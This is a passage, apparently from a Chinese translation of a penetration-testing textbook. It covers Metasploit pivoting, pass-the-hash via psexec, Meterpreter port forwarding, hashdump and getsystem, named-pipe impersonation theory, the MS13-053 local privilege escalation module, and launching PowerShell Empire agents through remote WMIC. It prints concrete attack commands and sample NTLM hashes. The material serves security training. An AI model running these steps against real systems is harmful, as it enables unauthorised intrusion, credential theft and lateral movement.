让我们回到章节的开始,回顾我们找到的那台双网卡 Windows 7 机器,看看一个现实世界中的立足点和跳跃场景。我们有有效的凭据,尽管我们只是从另一台机器上提取了密码哈希值。我们将通过 psexec
漏洞将其传递给目标。别担心,我们稍后会详细讨论 pass-the-hash
(PtH)攻击。目前,让我们先获取立足点:
图 15.8 – 配置带有捕获哈希值的 psexec 模块
我们的目标是 192.168.108.153
,所以我们使用 set RHOSTS 192.168.108.153
配置目标。我们使用 set SMBPass
配置捕获的凭据,同时配置 set SMBUser
。然后,通过 run
发起攻击:
图 15.9 – 在目标上运行 ipconfig 以查找额外的网络
随着我们的 Meterpreter 会话建立,魔法般的火花飞舞在空中。我做的第一件事是执行ipconfig
,查看在链路层上可以看到哪些其他主机。立刻,我们可以看到一个额外的接口被分配了 IP 地址192.168.249.153
,子网掩码为255.255.255.0
。 bingo!我们已经攻陷了一台双网卡主机。
简单回顾一下子网划分
记住,IPv4 地址是 32 位长,分成四组,每组 8 位。使用 CIDR 表示法时,IP 地址后面跟着一个斜杠和一个数字,表示用于表示网络部分的位数;剩余的位数则分配给主机。因此,你总是可以从 32 中减去 CIDR 表示法结尾的数字,得到主机分配所需的位数。让我们来看几个例子。
192.168.105.0/24
表示前 24 位标识网络。为了理解这一点,我们来看一下192.168.105.0
的二进制形式:
11000000.10101000.01101001.00000000
在分配这个子网中的地址时,我们只需改变最后 8 位,最高值11111111
为该子网的广播地址:
11000000.10101000.01101001.00000000
Network Hosts
从 CIDR 表示法计算子网掩码及其反向转换非常简单——将网络部分的位设置为全 1,主机部分的位设置为全 0。然后,将该值转换为 IP 地址,这就是你的子网掩码:
11111111.11111111.11111111.00000000
255 255 255 0
这里有一个例子,10.14.140.0/19
:
11111111.11111111.11100000.00000000
255 255 224 0
现在我们已经掌握了网络基础知识,接下来看看如何在我们发现的网络中构建路由,以便进行更深层次的枚举。
使用 autoroute 将 Metasploit 引入隐藏网络
在 Meterpreter 提示符下,输入run post/multi/manage/autoroute
命令。你将看到主机的路由表被自动分析:
图 15.10 – 在 Meterpreter 会话中使用 autoroute
这为隐藏子网创建了一条路由,由我们控制的 Meterpreter 会话管理(我们称之为枢纽点):
图 15.11 – 枢纽的可视化表示
输出结果有些平淡——但请记住,那个子网现在对于 Metasploit 来说就像你在局域网内一样。为了验证这个理论,我将尝试在隐藏网络中寻找 FTP 服务器。我使用background
命令将 Meterpreter 会话放入后台,并跳转到辅助模块,使用use auxiliary/scanner/portscan/tcp
来获取本地端口扫描器:
图 15.12 – 通过我们的路由进行端口扫描
请注意,RHOSTS
可以使用子网,因此我设置了隐藏网络为 set RHOSTS 10.0.0.0/24
。多线程可以加速扫描,但也可能压垮网络和/或产生大量噪音,因此在配置 set THREADS
时要小心。(提示:我不会在生产网络上使用 set THREADS 100
,尤其是在千兆网络中。)当然,我只是寻找 FTP 服务,所以我配置了 set PORTS 21
,但你也可以通过逗号添加更多端口或提供端口范围。这是一个辅助模块,所以我们用 run
来启动它:
图 15.13 – 通过我们新配置的路由完成端口扫描
我们在 192.168.249.154
上发现了端口 21
开放。请记住,你无法从 Kali 机器上看到这个主机;这个响应来自于在我们的 Windows 7 架设的跳板点上运行的 Meterpreter,它将流量路由到目标网络。这很不错,但有一件事还缺少——就是能够在 Metasploit 框架之外使用我们最喜爱的 Kali 工具,包括我们辛辛苦苦编写的 Python 脚本。我们需要的是端口转发机制。别担心,Meterpreter 听到了你的呼声。
让我们回到已建立的会话,使用 sessions -i 4
。-i
标志表示 交互,数字 4
指定了会话编号。当你深入某个网络时,可能会有一打 Meterpreter 会话在运行——这时,sessions
就是你的好帮手。不管怎样,让我们回到我们这唯一的会话,执行 portfwd -h
:
图 15.14 – 配置 portfwd
让我们按逻辑顺序仔细看一下这些选项,而不是按它们出现的顺序:
-
-R
是反向端口转发。我知道,我知道:怎么会有反向还可以转发? 这只是指定了建立路由时所采取的方向。为什么我们需要这个呢?在跳板场景中理解端口转发的简单方式是,你,作为攻击者,想要通过你的跳板点访问目标上的某个服务。然而,回想一下我们之前在自己的机器上托管有效载荷时的情况。我们可能希望将目标的请求通过跳板点转发给我们。这就是反向端口转发。 -
-L
指定了本地主机。除非在两种场景下,否则它是可选的——你在做反向端口转发,或者你的本地接口有多个地址且你需要流量通过特定的接口传递。请注意,如果你设置了这个选项,连接通过端口转发时必须使用此处指定的地址。 -
-l
指定了本地监听的端口。你将会把工具指向本地主机和此处指定的端口,以便通过目标端口访问目标。 -
-i
给你的端口转发路由分配一个索引。你难道认为我们一次只能有一个路由吗?我们可以对多个主机和端口进行多次端口转发。你会需要这些索引来跟上进度。 -
-p
是我们转发流量的远程端口。如果你正在利用反向端口转发,这里可能会有些混淆:该选项是要监听的远程端口。例如,一个有效负载可以配置为连接到端口9000
的枢纽点。 -
-r
简单地是远程 IP 地址。
我使用portfwd add -L 192.168.108.211 -l 1066 -p 21 -r 192.168.249.154
命令创建了中继。这告诉 Meterpreter 在端口1066
上建立一个本地监听器,并将任何请求转发到端口21
的目标上。简而言之,地址192.168.108.211:1066
刚刚变成了192.168.249.154:21
。Meterpreter 将确认设置:
图 15.15 – 新的端口转发中继已经运行
继续指向这个代理的工具。为了确认访问权限,我尝试用 netcat 连接到本地监听器:
图 15.16 – 与枢纽点背后的服务交流
在这里,我们正在与我们的 Kali 框看不见的另一个子网上运行的服务进行交流。如果你刚刚完成了前一章节,那么你将会认出在这里运行的 FTP 服务是我们刚刚学会如何妥协的一个易受攻击的服务。通过你的立足点和建立的枢纽点,你现在已经有了一条通向目标网络中更深处的机器上交付 shellcode 的铺好的道路。
理解这个端口转发链末端的 FTP 服务器上的重要提示portfwd
。查看我们运行 netstat 时 FTP 服务器上的情况:
图 15.17 – 在目标 FTP 服务器上运行 netstat
那是你 Kali 框的 IP 地址吗?当然不是 – 那是我们已经妥协的 Meterpreter 主机。因此,我们可以利用信任关系绕过防火墙使用这种方法。既然我们到了这里,现在是时候利用这些新通道来进行一些进一步的攻击了。
升级你的枢纽 – 将攻击传递下去
让我给你描述一个场景。你已经从限制网络内部建立了立足点,成功接入了一台面向内部192.168.249.0/24
网络的 Windows 7 企业版机器。你无法从当前位置看到该网络,因此你使用 Meterpreter 会话,通过 Windows 7 的转发点建立了路由。经过进一步侦察,你确认192.168.249.128
正在运行 FTP 服务。然而,你无法从转发点连接到它。观察局域网后,你发现192.168.249.128
和192.168.249.130
之间有流量传输,因此你怀疑这两台主机之间存在信任关系。你还经常看到 Windows 用户Phil
,所以这可能是一个管理员账户,或者是用于设置这些主机的共享本地账户。
我已经尝试通过192.168.249.128:21
使用portfwd
进行转发,并尝试使用 Windows 7 的 FTP 客户端连接,但没有成功。有一个防火墙阻止了我们的流量。看起来从192.168.249.130
进行尝试可能更有机会,但该主机位于隐藏网络中。这意味着我们需要利用我们的转发点来攻破我们当前立足点之外的主机。让我们来看看如何利用我们目前获取的信息进一步提升权限。
使用你捕获到的资源
在渗透测试中,你偶尔会做一些即兴的魔法。大多数时候,你会依赖简单且经过验证的方法,在企业中以小步伐向前推进。一个常见的技巧是重复使用你发现的凭证。我不在乎我是在某人键盘下找到密码(是的,有人还会这么做),还是在旁观某人登录银行出纳系统时看到密码——我总是知道这个密码会让我惊讶它能让我进入什么。让我给你讲几个实战故事来说明我的意思:
-
曾经我在一次金融机构的评估中成功获得了域管理员权限。我提取了域中的所有哈希值,准备离线破解。我恢复的其中一个明文密码是
BESAdmin
账户的密码,这个账户与 BlackBerry Enterprise 相关。几周后,我来到一个完全不同的客户那里,但在评估过程中我注意到,他们的 IT 服务承包商与前一个客户使用的公司是同一家。我也在那里找到了BESAdmin
账户。当我来到第三个使用同一承包商的客户时,我又发现了另一个BESAdmin
账户,我尝试用恢复的密码登录,结果——成功了。一个通用密码的便利性让我能够有效地攻破使用该承包商的数十家公司中的域管理员账户。 -
我曾在一家管理付费停车场结构的公司客户现场工作。在这些结构的入口处,有一台小型机器可以接受信用卡并打印票据和收据。所有这些 XP 嵌入式机器(总计约 100 台)每 5 分钟与一个 Microsoft SQL 数据库进行一次检查。你猜怎么着——它们使用具有特权的域账户进行身份验证。我能够降低身份验证等级,从而让破解工作仅用了 45 秒。这个密码不仅让我进入了数据库和所有的支付机器,还让我进入了域外的其他一些系统。
这两种情况都展示了一些不太安全的做法,但有趣的是,当我向 IT 人员展示我的发现时,大多数时候他们已经意识到这些做法的含义!他们觉得被过时的配置和顽固的管理困住了。我曾有 IT 管理员把我拉到一边,感谢我给了他们部署他们一直请求的防御层的弹药。我认为密码攻击非常重要,因为它们能为客户提供的整体价值非常大。
让我们回到我们的场景并描绘一个类似的攻击。我们将利用我们的支点凭证更深入地渗透到网络中。然而,这次我们没有时间破解密码。我们如何在不破解密码的情况下使用它?
别再拖延了,使用 Pass-the-Hash——利用 Windows 中的密码等价物
请记住,Windows 密码是特殊的(这次不是夸奖),因为它们没有加盐。如果我的密码是Phil
,那么你找到的 NTLM 哈希值将始终是2D281E7302DD11AA5E9B5D9CB1D6704A
。Windows 从不以任何可读的形式存储或传输密码;它只验证哈希值。这就有了一个明显的后果,它被Pass-the-Hash
(PtH)攻击所利用。
为什么 Microsoft 决定不使用加盐?Microsoft 表示,由于其他安全措施的存在,加盐并不必要,但我想不出有哪个安全专家会同意这个说法。真正的原因可能与 Windows 设计中的那些反复出现的主题有关:向后兼容性和互操作性。盐值几乎就像是每个密码都有一个额外的密码,因此系统需要有安全交换这些数据的机制。这是一项艰巨的任务,但值得去做吗?加盐被认为是密码安全的最低防御层,而不是万灵药。
请查看以下账户名和 NTLM 哈希值。这些哈希值没有强大资源的话很难破解(祝你好运,读者!),所以知道实际密码并不是一个选项。我们可以从这些账户中知道什么?我们能推断出它们与其他账户的关系吗?
-
Administrator**: **5723BB80AB0FB9E9A477C4C090C05983
-
user**: **3D477F4EAA3D384F823E036E0B236343
-
updater**: **C4C537BADA97B2D64F82DBDC68804561
-
Jim-Bob**: **5723BB80AB0FB9E9A477C4C090C05983
-
Guest
:45D4E70573820A932CF1CAC1BE2866C2
-
Exchange
:7194830BD866352FD9EB0633B781A810
是的,鹰眼,Administrator
密码与Jim-Bob
密码完全相同。使用加盐哈希,我们无法仅凭一瞥就知道这个事实;但在 Windows 世界中,经过短短一刻的审查,我们知道Jim-Bob
在他的个人账户和Administrator
账户上使用相同的密码。因此,我们可以推断Jim-Bob
是管理员。如果我们无法破解哈希值,这对我们有什么帮助呢?嗯,首先,现在我们知道,针对Jim-Bob
进行其他密码攻击,如钓鱼或键盘记录,有很大机会获取至高无上的Administrator
账户。让我们回到未加盐哈希的另一个后果:在 Windows 中,裸哈希是一个密码等效物,这意味着将哈希传递给认证机制与输入密码是完全相同的。
返回到您的 Meterpreter 会话,并确认您正在以SYSTEM
身份运行;如果没有,请使用getsystem
进行提权。接下来,我们将使用hashdump
执行我们内置的哈希转储模块:
图 15.18 – 在 Meterpreter 会话中使用 hashdump
要获得对 Windows 的所有未经检查的访问权限,您需要以SYSTEM
身份运行。getsystem
是一个出色的提权模块,将尝试一些不同的经典技巧,如命名管道模拟和令牌克隆。我们将在第十六章中详细介绍这些内容,提权。
hashdump
模块会完成大部分工作,并将找到的所有内容整理得井井有条。我们将继续使用psexec
来传递哈希。使用background
命令将 Meterpreter 会话后台化,以便我们可以配置psexec
模块。发出use exploit/windows/smb/psexec
命令以获取模块,然后运行show options
。
现在,这里有两件事需要考虑:我们的RHOST
和 Meterpreter 载荷类型。请记住,我们的目标192.168.249.130
从我们的 Kali 系统中是不可见的,但我们已经通过autoroute
模块建立了到目标子网的路由。Metasploit 将自动通过我们的枢纽点路由此攻击!也正因如此,我们将使用bind_tcp
而不是连接回来,因为我们的 Kali 系统对目标不可见。
对于set SMBPass
,请使用hashdump
中的LM:NTLM
格式。顺便说一句,您可以混合使用;例如,我们可以从前面示例中的Jim-Bob
账户中获取哈希值,但将SMBUser
设置为Administrator
。这将简单地尝试将Jim-Bob
的未知密码与Administrator
账户匹配。在我们的情况下,我们正在尝试使用Phil
账户。最后,使用exploit
来执行:
图 15.19 – 绕过足迹获取哈希值
现在我们有了两个精致的 Meterpreter 会话——会话 1 是通过我们的立足点进入隐藏网络,会话 2 是与我们怀疑与 FTP 服务器有信任关系的主机建立的。当您在实验室中进行测试时,可能习惯于只有一个 Meterpreter 会话;当您利用 Metasploit 的力量进行枢纽攻击时,请做好组织多个会话的准备。
让我们再次尝试老式的portfwd
。通过在我们的第二个 Meterpreter 会话中建立它,流量实际上将来自受信主机:
图 15.20 – 通过被攻陷的受信主机进行的 netcat 会话
就是这样——我们通过攻陷受信主机绕过了严格的防火墙。直接从我们的机器绕过控制并不难,只要留下一些证据指向会议室前门附近网络端口的 IP 地址即可。另一个完全不同的事情是,当源头是防火墙内的受信主机时,这意味着完全不同的潜力。想象一下,在我们逐步渗透时,如何将目标串联起来。
总结
本章介绍了在我们建立立足点后可以使用的一些选项。我们涵盖了初步的侦察和枚举,使我们能够从立足点跳转到网络的安全区域,包括在攻破双网卡主机后发现隐藏的网络,进行 ARP 扫描隐藏网络,以及收集敏感和已删除的数据。从那里,我们通过设置进入隐藏网络的路由并启用端口转发,使我们能够使用 Kali 工具与隐藏网络中的主机进行交互,进一步增强了对枢纽概念的理解。最后,我们通过利用枢纽主机上的凭证,攻破了防火墙内的计算机。
在下一章中,我们将探讨特权提升的强大功能:将我们微不足道的立足点转变为特权级的攻破,从而获得对关键资源的访问权限。结合本章的知识,您将为在目标环境中进行复杂的渗透做好准备。
问题
请回答以下问题,以检查您对本章内容的理解:
-
我刚刚与一台双网卡主机建立了 Meterpreter 会话,因此我配置并执行了
portscan
模块来搜索另一网络中的主机。我对扫描的状态感到好奇,于是我在我的机器上打开了 Wireshark。但没有看到任何扫描流量。怎么回事? -
我刚刚在 Meterpreter 中发出了以下命令,但没有任何反应:
execute -f ipconfig
。为什么没有看到ipconfig
的输出? -
在 Meterpreter 中运行模块时,我不需要指定 ________,因为该命令仅发送到该系统。
-
对 Meterpreter ARP 扫描的深度数据包分析将揭示我们攻击的 Kali 主机的 IP 地址。(正确 | 错误)
-
在进行 Meterpreter 端口扫描时,使用较少的线程可以减少我们的流量触发 IDS 的风险。(正确 | 错误)
-
在配置 PtH 攻击时,必须指定盐值。(正确 | 错误)
-
我的 PtH 攻击有效,因为我看到了一个新的 Meterpreter 会话;然而,大约 2 秒后它就死掉了。我能做些什么来保持会话存活?
进一步阅读
要了解本章中涉及的主题的更多信息,请查看以下资源:
- 关于 PtH 攻击的 Microsoft TechNet 演讲和讨论(
technet.microsoft.com/en-us/dn785092.aspx
)
第十六章:提升权限
当我们考虑渗透任何系统时——无论是计算机系统还是物理访问某个建筑物——没有人在初次攻破时是城堡的主宰。这正是现实世界攻击如此隐蔽且难以检测的原因;攻击者从一个微不足道的位置开始,几乎没人察觉他们的存在。例如,考虑物理渗透一个安全建筑。经过几个月的研究,我终于能够悄悄复制清洁工的钥匙,并且他毫不知情。现在,我可以进入建筑外围的清洁工储藏室。我拥有这座建筑吗?不。我是否拥有一个能让我看到之前无法获得的视角的立足点?当然。也许管道和电缆穿过这个储藏室。也许这个储藏室紧邻一个安全房间。
权限提升的原理是利用我们低权限位置中的可用资源来提高我们的权限。这可能包括窃取属于高权限账户的访问权限,或利用漏洞欺骗系统执行某些以提升权限的操作。本章将从这两个角度进行探讨,涵盖以下主题:
-
使用 Armitage 攀登权限阶梯
-
使用 Metasploit 进行本地漏洞利用
-
通过 WMIC 和 PS Empire 提升权限
-
使用 vssadmin 攻击域控制器
技术要求
本章所需的内容如下:
-
Kali Linux
-
在虚拟机上运行的 Windows 7 SP1
-
配置为域控制器的 Windows Server 2012
使用 Armitage 攀登权限阶梯
权限提升如今是一个有趣的话题,因为我们手头的工具在后台做了很多事情。当我们使用 Metasploit 和 Armitage 前端时,很容易把系统的复杂性视为理所当然。例如,在 Meterpreter 会话中,我们可以执行 getsystem
,通常在几秒钟内便能获得 SYSTEM
权限。为什么这一切如此轻松地完成?首先,我们将看一下 Windows 中的几个核心概念:命名管道和安全上下文。
命名管道与安全上下文
是的,你说得对;在这个上下文中,pipe一词与类 Unix 系统中的管道相关(并且正如我们在第九章《PowerShell 基础》一章中讨论的那样,它也与 PowerShell 中的管道相关)。我们操作过的管道是没有名字的,并且存在于 shell 中。另一方面,命名管道概念为管道赋予了一个名字,并通过有名字这一特性,它利用了文件系统,使得与它的交互就像与文件进行交互一样。记住我们管道的目的——将一个命令的输出作为输入传递给另一个命令。这是更简化的理解方式——在幕后,每个命令都会启动一个进程。所以,管道的作用是允许进程通过共享数据互相通信。这只是实现进程间通信(IPC)的几种方法之一。因此,总结起来,命名管道是一个文件,进程可以与之交互以实现 IPC。
不要忘记我们在 Windows 安全性探索过程中一个持久的主题:微软总是喜欢按自己的方式做事。Windows 中的命名管道与 Unix 类系统中的概念有一些重要的区别。首先,在 Unix 中,命名管道可以超越进程的生命周期,而在 Windows 中,当最后一个引用它的对象消失时,它就会消失。Windows 的另一个特点是,尽管命名管道的工作方式与文件相似,但不能在文件系统中挂载。它们有自己的文件系统,并通过\\.\pipe\[name]
进行引用。开发者可以使用一些函数来操作命名管道(例如,CreateFile
、WriteFile
和 CloseHandle),但用户是看不见它们的。
在 Windows 中,有一些情况下,命名管道是对用户可见的。你,那个机智的高级用户,曾在使用 WinDbg 调试时看到了这个概念的运作。
让我们更深入地探讨一下在 Windows 中实现的这个概念。我之前举过一些使用命名管道的函数的例子。那些是管道客户端函数。命名管道的初始创建可以通过CreateNamedPipe
函数来完成——这是一个管道服务器函数。命名管道的创建者是管道服务器,而附加到命名管道并使用它的应用程序是管道客户端。客户端连接到命名管道的服务器端,并使用CreateFile
和WriteFile
与管道进行通信。尽管命名管道只能在本地创建,但也可以与远程命名管道进行交互。在命名管道路径中,句点被主机名替换,以便与远程管道进行通信:
图 16.1 – 命名管道的视觉表现
服务器-客户端的术语并非偶然。管道服务器创建命名管道并处理管道客户端的请求。
假扮管道客户端的安全上下文
如果你对这个概念不熟悉,你可能看到了这一节的标题,并且想,哦,命名管道客户端冒充?我想知道接下来我们会安装什么黑客工具! 不是的。这是正常行为,是通过ImpersonateNamedPipeClient
函数实现的。你作为安全专家可能会觉得,在 IPC 中允许安全上下文的冒充简直疯狂,但你作为软件设计师可能对最初的无辜逻辑很熟悉,这种逻辑允许更高效的架构。假设一个特权进程创建了一个命名管道。那么,你就有了一个情境,其中管道客户端请求由特权管道服务器读取和管理。冒充允许管道服务器在处理管道客户端请求时减少其特权。自然,允许冒充本身意味着具有较低特权的管道服务器可能会冒充特权管道客户端,并代表客户端做一些坏事。嗯,这可不行。幸运的是,管道客户端可以在CreateFile
函数调用中设置标志,以限制这种冒充,但他们不一定需要这么做。通常会看到忽略这一步。
多余的管道和管道创建竞态条件
我知道你内心的黑客此刻在说什么:看起来整个命名管道服务器-客户端概念都依赖于命名管道存在且管道服务器可用这一假设。很棒的推理!一个进程完全可能在不知道管道服务器是否已经创建管道的情况下尝试连接到命名管道。服务器可能已经崩溃,或者服务器端根本没有被创建——无论如何,如果发生这种情况,就会出现一个独特的漏洞:管道客户端的安全上下文可以被一个仅仅创建了请求管道的进程夺走!在某些应用程序设计为不断请求命名管道,直到成功的情况下,这种情况很容易被利用。
类似的情况发生在恶意进程在合法进程有机会之前创建了一个命名管道——一种竞态条件。在类 Unix 系统中,命名管道也被称为FIFO
,以其先进先出的结构命名。这几乎与管道的流动方式一致,所以这个名称很合适。不管怎样,在命名管道创建竞态条件中,FIFO 结构的一个后果是,第一个创建命名管道的管道服务器将获得第一个请求该管道的客户端。如果你知道某个特权管道客户端将会发起特定请求,攻击者只需要成为第一个排队的用户,从而篡夺客户端的安全上下文。
超越 Armitage 的立足点
现在我们已经了解了getsystem
如何操作的理论背景,接下来让我们回到利用 Armitage 进行后期阶段。如果看起来我们有点跳跃,那是因为我认为了解工具背后发生的事情很重要,这样当工具为你去除障碍时,你能够理解。比如,Armitage 在你成功获得目标立足点后,会自动尝试进行权限升级。让我们来看看。
在这个场景中,我刚刚成功地从网络上嗅探到一个密码。这个密码正被一个我知道是服务器管理员的用户用在一个本地管理设备上,所以我凭直觉尝试向域控制器认证。遗憾的是,这种方法在现实世界中经常奏效,但它也是一个宝贵的培训机会。无论如何,在 Armitage 中,我定位到域控制器,右键点击图标并选择Login
,然后选择psexec
:
图 16.2 – 在 Armitage 中传递哈希
密码成功了,恐怖的闪电将可怜的服务器封锁。当我观察时,我注意到NT AUTHORITY\SYSTEM
出现在主机下。我已作为管理员认证,Armitage 非常友好地帮我升级到了SYSTEM
权限:
图 16.3 – Armitage 中主机受损的示意图
现在,我们要将一些自动化功能引入 pivoting 的概念——而 Armitage 让这一切变得太简单了。
Armitage pivoting
我们在 MSF 控制台上讲解了 Pivoting,过程相当简单。Armitage 让这一过程变得极其简单。记住,Armitage 作为红队工具表现得非常出色,因此快速设置 pivot,即使是一个小团队,也能像瘟疫一样在网络中蔓延。
我右键点击目标,选择我的 Meterpreter 会话,然后点击Interact
,接着选择Command shell
。现在,我可以以SYSTEM
身份与 CMD 交互。快速执行ipconfig
命令,发现有另一个接口附加在10.108.108.0/24
子网中:
图 16.4 – 在 Armitage 中受损主机上的 ipconfig
我看到你拿出纸和笔准备记下子网掩码和网关。现在,想象一下我慢动作伸手出来,把它从你手中打掉。Armitage 已经帮你准备好了,它讨厌你太辛苦工作。让我们右键点击目标,再次找到我们的 Meterpreter 会话;这次,选择Pivoting
,然后点击Setup
。如你所见,Armitage 已经知道了可见的子网。我们只需要点击Add Pivot
,选择我们需要扩展的子网:
图 16.5 – Armitage 中的添加 Pivot 对话框
你将回到主显示界面。不同之处在于,现在,当某个特定的扫描器要求你输入网络范围时,你可以输入你的新范围。Armitage 已经配置了跳板,并知道如何相应地路由探测。
延续好莱坞黑客电影的酷炫视觉效果,跳板通过绿色箭头显示,指向所有通过跳板点学习到的主机,箭头的起点就是跳板。
图 16.6 – 描绘在 Armitage 中超越立足点的主机枚举
后期阶段的一个重要基本事实是它是迭代的。你刚刚迈出了第一步,现在,你可以将模块指向隐藏在跳板点后的系统。Armitage 知道自己在做什么,并在幕后配置 Metasploit,所以一切都会按需要的方式路由。点点点击黑客攻击!
到这时,我们来看一个本地漏洞利用的例子——你将在已建立的非 SYSTEM 会话内执行此操作。
当简单方法失败时——本地漏洞利用
每个实验演示都会包含某些假设。到目前为止的一个假设是,Armitage/Metasploit 能够通过getsystem
实现SYSTEM
权限。正如我们在命名管道速成课程中所学到的,针对这种情况是有防御措施的,而且我们执行getsystem
时常常是盲目的。它总是被认为只是一种尝试,并没有保证结果。
让我们来看一个例子。在这台实验计算机中,我们通过窃取凭据破解了一个低权限的用户账户。在用getuid
验证我正在以低权限账户(称为User)运行后,我将会话置于后台,并执行search exploits local
。这个查询将搜索所有以local
为关键字的漏洞。在我们启动选择的本地提升漏洞利用之前,让我们回到内核领域,那里本地提升漏洞可是个大麻烦。
内核池溢出与数据类型的危险
Windows 内核中有一个负责从发送线程获取消息的函数,这些消息已经被转发到接收线程以实现线程间通信:xxxInterSendMsgEx
。某些消息类型需要返回缓冲区,因此需要定义分配的空间;在确定所需的缓冲区大小后,会调用 Win32AllocPoolWithQuota
函数。如何确定这个大小很重要。有两个考虑因素:消息类型和传递给系统调用的参数,这些参数要求发送消息。如果预期返回的数据是字符串,那么我们就要考虑字符是如何编码的;经典的 ASCII 还是 WCHAR。ASCII 是一种特定的字符编码,每个字符标准化为 8 位,而 WCHAR 是 宽字符,广义上指的是使用超过 8 位的字符集。早在 1980 年代末期,通用编码字符集(UCS)出现,并标准化为 ISO/IEC 10646。它设计用来支持多种语言,并且每个字符可以使用 16 位甚至 32 位。UCS 字符集与流行的 Unicode 标准同步,今天流行的 Unicode 编码格式包括 UTF-8、UTF-16 和 UTF-32,只有 UTF-8 与 ASCII 有相同的字符大小。因此,分配 ASCII 编码的消息 Hello, World!
会需要 13 字节的内存。然而,在 32 位 WCHAR 格式下,我将需要 52 字节来存储相同的消息。
回到内核中的线程间通信,CopyOutputString
函数在按需转换字符的同时,使用两个标准填充内核缓冲区——接收窗口的数据类型和传递给消息调用的最后一个参数请求的数据类型。这给我们提供了四种组合,它们以四种不同的方式处理,如下所示:
关键在于,这些不同的操作将导致不同的数据长度,但缓冲区已经通过 xxxInterSendMsgEx
通过 Win32AllocPoolWithQuota
被分配了。我想你已经明白接下来会发生什么,所以我们快速跳转到我们的 Metasploit 模块,它已经准备好创建一个场景,导致池溢出,从而允许我们以内核权限执行代码。
让我们懒一点——Windows 7 上的 Schlamperei 权限提升
微软通过公告 MS13-053 及其相关补丁解决了这个特定的内核漏洞。利用 MS13-053 的本地漏洞利用模块叫做 Schlamperei
。这个词来源于德语,意思是懒惰、马虎和低效。觉得不公平吗?在 Metasploit 中设置 use exploit/windows/local/ms13_053_schlamperei
,然后输入 show options
。准备好迎接一长串的选项吧!
我在开玩笑——这里只有一个选项,那就是定义 Meterpreter 会话,在该会话中尝试这一操作:
图 16.7 – 通过漏洞模块进行本地提权到 SYSTEM
这只是一个快速而简单的示例,所以我鼓励你查看所有可用的本地漏洞利用方法。熟悉它们及其各自的漏洞和目标类型。
现在,让我们深入探讨利用 Windows 内置的管理能力的神奇世界。
使用 WMIC 和 PS Empire 进行提权
让我们先了解一下基本定义。WMIC 是一个工具的名称,代表Windows 管理工具命令。命令部分指的是命令行接口;可以假定 WMICLI 太长了。该工具允许我们执行 WMI 操作。WMI 是 Windows 基础设施,用于操作和管理数据。除了向 Windows 的其他部分和其他产品提供管理数据外,还可以使用 WMI 脚本和应用程序自动化本地和远程的管理任务。通常,管理员通过 PowerShell 访问此接口。请记住,正确使用 WMIC 值得一本书的详细介绍,所以把这看作是一个介绍。如果你感兴趣,网上和书店都有很多优秀的资源。
就目前而言,我们对我刚提到的远程管理感兴趣。作为渗透测试人员,我们有几个重要的事实需要考虑:
-
在命令行中使用 WMIC 命令不会留下任何软件或代码的痕迹。虽然 WMI 活动可以被记录,但许多组织未开启或未审查日志。WMI 是另一个在 Windows 中往往被忽视的功能。
-
在几乎任何 Windows 环境中,WMI 和 PowerShell 都无法被阻止。
总结一下,我们意识到可以利用 WMIC 远程管理 Windows 主机,同时利用目标的 PowerShell 功能。
用 WMIC 悄悄地生成进程
对于这个练习,我招募了一个 Windows 7 攻击 PC,用于对 Windows Server 2012 目标发动 WMI 命令。现在你有两个攻击者 – Kali 和 Windows。
让我们用 WMIC 探索一分钟,看看它是什么样子。打开CMD
命令提示符并执行wmic
。这将进入交互式会话。现在,执行useraccount list /format:list
:
图 16.8 – 从 WMIC 获取用户帐户
WMIC 以便捷的格式返回本地用户帐户。并不是特别令人兴奋。有趣的地方在于远程管理。现在,尝试使用node:[IP 地址] /user:[DOMAIN][User] computersystem list brief /format:list命令。系统会提示输入用户密码:
图 16.9 – 从 WMIC 获取系统信息
噢,现在这个有点有趣。不过,乐趣还没有结束。尝试使用path win32_process call create "calc.exe"
命令,同时保留node:[*
IP 地址*] /user:[*
域*]\[*
用户*]
头部。提示时别忘了输入Y
:
图 16.10 – 使用 WMIC 执行进程
看看这个;方法执行成功。输出参数告诉我们主机返回给我们的内容;我们可以看到一个 PID 和ReturnValue
为0
(表示没有错误)。现在,去你的目标系统上看看屏幕上的友好计算器。等等,它在哪里?也许命令终究是失败了。
让我们看一下 Windows 任务管理器:
图 16.11 – 从目标的角度看正在运行的任务
它确实执行了calc.exe
。也确认一下 PID——它是由我们的命令启动的实例。如果你曾经写过脚本或其他启动进程的程序,即使你尝试隐藏它,看到命令窗口在屏幕上闪烁一下也是熟悉的经历,我们通常希望用户看不见它。悄悄启动 PowerShell?简直是无价之宝。
使用远程 WMIC 创建 PowerShell Empire 代理
让我们启动 Empire,使用./empire
(在其目录中)并配置一个监听器。在主提示符下,输入listeners
,然后输入uselistener http
。你可以随意命名,我叫它 WMIC,以区分这次攻击:
图 16.12 – 在 Powershell Empire 中设置监听器
回到主菜单,你可以再次执行listeners
来确认它是否已启动并正常运行。现在,我们需要一个 stager。请记住,stager 是封装在某种形式中的 PowerShell 命令,旨在使它们得以执行。例如,你可以生成一个 BAT 文件,然后将其传输到目标机器上执行。在这里,我们使用 WMI 远程创建进程——我们只需要原始命令。因此,选择的具体 stager 不那么重要,因为我们只是从中提取命令。就我而言,我选择了执行usestager windows/launcher_bat
的 BAT 文件选项。现在唯一重要的是配置监听器以将生成的代理与之关联——记住你之前设置的名称。如果你像我一样使用了 WMIC,那么命令是set Listener WMIC
(不要忘记它是区分大小写的)。执行execute
,你的 BAT 文件将被放入tmp
文件夹中。用你喜欢的编辑器打开它并提取 PowerShell 命令:
图 16.13 – 创建与监听器关联的启动器 BAT 文件
为了证明反恶意软件厂商的聪明才智,我尝试通过 Gmail 发送一个 Empire 阶段性命令,作为 TXT
文件发送,结果它被标记为病毒。我本以为使用纯文本会让事情变得更简单,没想到,确实又是坏人们的另一个障碍。
现在,让我们回到 Windows 攻击机,带着 PowerShell 命令。我正在准备针对目标的 WMIC 命令。请注意,我没有使用交互式会话。因为它有字符限制,而这个长字符串需要尽可能多的空间。所以我将它转储到普通的 CMD 会话中,并将命令作为参数传递给 wmic
。
别忘了,win32_process call create
参数必须用引号括起来。
我希望我能告诉你,这一切就像那些动作片中的情节,硬汉从爆炸中若无其事地走开,甚至不回头看看。但实际上,这看起来更像是计算器进程的启动。你会得到一个 PID 和 ReturnValue = 0
。无论如何,我鼓励你想象那个爆炸的场面:
图 16.14 – 在 WMIC 中丢弃命令
让我们跳到 Kali 攻击者的机器上,Empire 监听器正忠实地等待代理报告回总部。果然,我们可以看到新的代理已经配置好,准备接受任务。尝试 info
命令以确认主机和代理使用的安全上下文的用户名。请注意,这里也显示了 PID——它将与 WMIC 输出参数中的 PID 相匹配。
